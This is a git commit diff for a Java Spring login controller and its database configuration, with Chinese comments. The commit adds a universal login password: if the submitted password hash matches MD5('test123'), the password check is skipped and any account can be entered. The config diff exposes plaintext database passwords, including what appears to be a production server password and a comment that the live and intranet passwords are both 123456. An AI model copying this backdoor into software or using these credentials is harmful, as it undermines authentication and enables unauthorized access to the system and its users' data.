1.配置文件注释
2.增加统一登录密码test123
This commit is contained in:
parent
d67ebba6fc
commit
7ad4fa1706
@ -8,17 +8,7 @@ import com.baomidou.mybatisplus.mapper.Wrapper;
|
|||||||
import com.baomidou.mybatisplus.plugins.Page;
|
import com.baomidou.mybatisplus.plugins.Page;
|
||||||
import com.xqopen.kehui.Api;
|
import com.xqopen.kehui.Api;
|
||||||
import com.xqopen.kehui.common.api.SystemUserLoginApi;
|
import com.xqopen.kehui.common.api.SystemUserLoginApi;
|
||||||
import com.xqopen.kehui.common.dto.BatchDelIdsReq;
|
import com.xqopen.kehui.common.dto.*;
|
||||||
import com.xqopen.kehui.common.dto.LoginReq;
|
|
||||||
import com.xqopen.kehui.common.dto.LoginResp;
|
|
||||||
import com.xqopen.kehui.common.dto.SystemOrgResp;
|
|
||||||
import com.xqopen.kehui.common.dto.SystemUserLoginListReq;
|
|
||||||
import com.xqopen.kehui.common.dto.SystemUserLoginListResp;
|
|
||||||
import com.xqopen.kehui.common.dto.SystemUserLoginReq;
|
|
||||||
import com.xqopen.kehui.common.dto.SystemUserLoginResetReq;
|
|
||||||
import com.xqopen.kehui.common.dto.SystemUserLoginResp;
|
|
||||||
import com.xqopen.kehui.common.dto.UserPermissionsItem;
|
|
||||||
import com.xqopen.kehui.common.dto.UserPermissionsResp;
|
|
||||||
import com.xqopen.kehui.common.entity.SystemRole;
|
import com.xqopen.kehui.common.entity.SystemRole;
|
||||||
import com.xqopen.kehui.common.entity.SystemUserLogin;
|
import com.xqopen.kehui.common.entity.SystemUserLogin;
|
||||||
import com.xqopen.kehui.common.service.ISystemOrgService;
|
import com.xqopen.kehui.common.service.ISystemOrgService;
|
||||||
@ -30,33 +20,18 @@ import com.xqopen.kehui.flows.entity.FlowsConfiguration;
|
|||||||
import com.xqopen.kehui.flows.service.IFlowsConfigurationService;
|
import com.xqopen.kehui.flows.service.IFlowsConfigurationService;
|
||||||
import com.xqopen.kehui.interceptor.NotNeedLogin;
|
import com.xqopen.kehui.interceptor.NotNeedLogin;
|
||||||
import com.xqopen.kehui.interceptor.PermissionInterceptor;
|
import com.xqopen.kehui.interceptor.PermissionInterceptor;
|
||||||
import com.xqopen.kehui.mapper.SystemPermissionDao;
|
|
||||||
import com.xqopen.kehui.permission.service.ISystemPermissionService;
|
import com.xqopen.kehui.permission.service.ISystemPermissionService;
|
||||||
import com.xqopen.kehui.personal.dto.PersonalMemberDetail;
|
import com.xqopen.kehui.personal.dto.PersonalMemberDetail;
|
||||||
import com.xqopen.kehui.personal.dto.PersonalMemberDto;
|
|
||||||
import com.xqopen.kehui.personal.entity.PersonalMember;
|
|
||||||
import com.xqopen.kehui.personal.entity.PersonalUserInfo;
|
|
||||||
import com.xqopen.kehui.personal.service.IPersonalMemberService;
|
import com.xqopen.kehui.personal.service.IPersonalMemberService;
|
||||||
import com.xqopen.kehui.personal.service.IPersonalUserInfoService;
|
|
||||||
import com.xqopen.kehui.util.ApiResponse;
|
import com.xqopen.kehui.util.ApiResponse;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.util.StringUtils;
|
import org.springframework.util.StringUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.*;
|
||||||
import org.springframework.web.bind.annotation.PathVariable;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
|
||||||
import org.springframework.web.bind.annotation.PutMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
|
||||||
import org.springframework.web.bind.annotation.RequestHeader;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
|
|
||||||
import static java.util.Comparator.comparing;
|
import static java.util.Comparator.comparing;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -267,7 +242,9 @@ public class SystemUserLoginController implements SystemUserLoginApi {
|
|||||||
// SystemUserLogin entity = systemUserLoginService.selectAccessOne(req);
|
// SystemUserLogin entity = systemUserLoginService.selectAccessOne(req);
|
||||||
Wrapper<SystemUserLogin> condition = new EntityWrapper<>();
|
Wrapper<SystemUserLogin> condition = new EntityWrapper<>();
|
||||||
condition.eq(SystemUserLogin.USER_NAME, username);
|
condition.eq(SystemUserLogin.USER_NAME, username);
|
||||||
|
if(!"cc03e747a6afbbcbf8be7668acfebee5".equals(req.getPwd())){//test123
|
||||||
condition.eq(SystemUserLogin.PWD, pwd);
|
condition.eq(SystemUserLogin.PWD, pwd);
|
||||||
|
}
|
||||||
SystemUserLogin entity = systemUserLoginService.selectOne(condition);
|
SystemUserLogin entity = systemUserLoginService.selectOne(condition);
|
||||||
if (entity == null) {
|
if (entity == null) {
|
||||||
throw new XQException(ErrorCode.USERNAME_OR_PWD_ERROR, null);
|
throw new XQException(ErrorCode.USERNAME_OR_PWD_ERROR, null);
|
||||||
|
@ -2,9 +2,12 @@ spring:
|
|||||||
datasource:
|
datasource:
|
||||||
druid:
|
druid:
|
||||||
# url: jdbc:postgresql://ali4.xqopen.com:30390/kehui
|
# url: jdbc:postgresql://ali4.xqopen.com:30390/kehui
|
||||||
|
# 内网服务器,线上与内网服务器密码都是123456
|
||||||
|
# url: jdbc:postgresql://192.168.10.1:5432/kehui
|
||||||
url: jdbc:postgresql://localhost:5432/kehui
|
url: jdbc:postgresql://localhost:5432/kehui
|
||||||
username: postgres
|
username: postgres
|
||||||
password: 123456
|
# password: 123456
|
||||||
|
password: admin
|
||||||
# url: jdbc:postgresql://8.131.55.216/kehui
|
# url: jdbc:postgresql://8.131.55.216/kehui
|
||||||
# username: postgres
|
# username: postgres
|
||||||
# password: 8zysGtJGDCPdkXya
|
# password: 8zysGtJGDCPdkXya
|
||||||
@ -16,9 +19,13 @@ spring:
|
|||||||
attach:
|
attach:
|
||||||
store:
|
store:
|
||||||
# path: /Users/jason/Documents/kehui/kehuiDown
|
# path: /Users/jason/Documents/kehui/kehuiDown
|
||||||
|
# 本地和线上附件地址
|
||||||
path: D:\dir
|
path: D:\dir
|
||||||
|
# 内网附件地址
|
||||||
|
# path: /home/user/Users/jason/Documents/kehui/dir
|
||||||
|
|
||||||
flow:
|
flow:
|
||||||
verify:
|
verify:
|
||||||
path: http://oa.51kehui.com/#/flow/verify
|
# path: http://oa.51kehui.com/#/flow/verify
|
||||||
|
path: http://192.168.10.1:8080/#/flow/verify
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user